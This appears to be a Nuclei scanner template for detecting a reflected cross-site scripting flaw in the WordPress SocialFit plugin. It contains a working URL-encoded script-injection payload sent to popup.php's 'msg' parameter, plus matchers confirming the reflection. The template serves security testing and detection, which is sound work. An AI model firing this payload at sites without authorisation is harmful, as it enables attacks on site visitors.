nuclei-templates/http/vulnerabilities/wordpress/wp-socialfit-xss.yaml

50 lines
1.4 KiB
YAML
Raw Permalink Normal View History

2021-07-11 00:41:04 +00:00
id: wp-socialfit-xss
info:
name: WordPress SocialFit - Cross-Site Scripting
2021-07-11 00:41:04 +00:00
author: daffainfo
severity: high
2021-07-11 00:41:04 +00:00
description: |
WordPress SocialFit is vulnerable to a cross-site scripting vulnerability via the 'msg' parameter because it fails to properly sanitize user-supplied input.
reference:
2021-07-11 00:41:04 +00:00
- https://www.exploit-db.com/exploits/37481
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
2023-07-28 06:06:38 +00:00
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
2023-07-28 06:06:38 +00:00
publicwww-query: "/wp-content/plugins/socialfit"
tags: wordpress,wp,xss,wp-plugin,edb
2021-07-11 00:41:04 +00:00
http:
2021-07-11 00:41:04 +00:00
- method: GET
path:
2021-07-19 06:13:07 +00:00
- '{{BaseURL}}/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2023-07-28 06:06:38 +00:00
2021-07-11 00:41:04 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2021-07-19 06:13:07 +00:00
- '</script><script>alert(document.domain)</script>'
2023-07-28 06:06:38 +00:00
- type: word
part: body
words:
- '<title>Google+'
- 'window.___gcfg'
condition: or
2021-07-11 00:41:04 +00:00
- type: word
part: header
words:
- "text/html"
2023-07-28 06:06:38 +00:00
2021-07-11 00:41:04 +00:00
- type: status
status:
2023-10-14 11:27:55 +00:00
- 200
# digest: 4a0a0047304502207cc3e027dbc85a5ad4053f3a0150235a12b05bd454fa49aedf3c33109852577c022100e14b9a16288bc725196b02f3691fe2ca87b7dac8e06fe71e97f00224ee255635:922c64590222798bb761d5b6d8e72950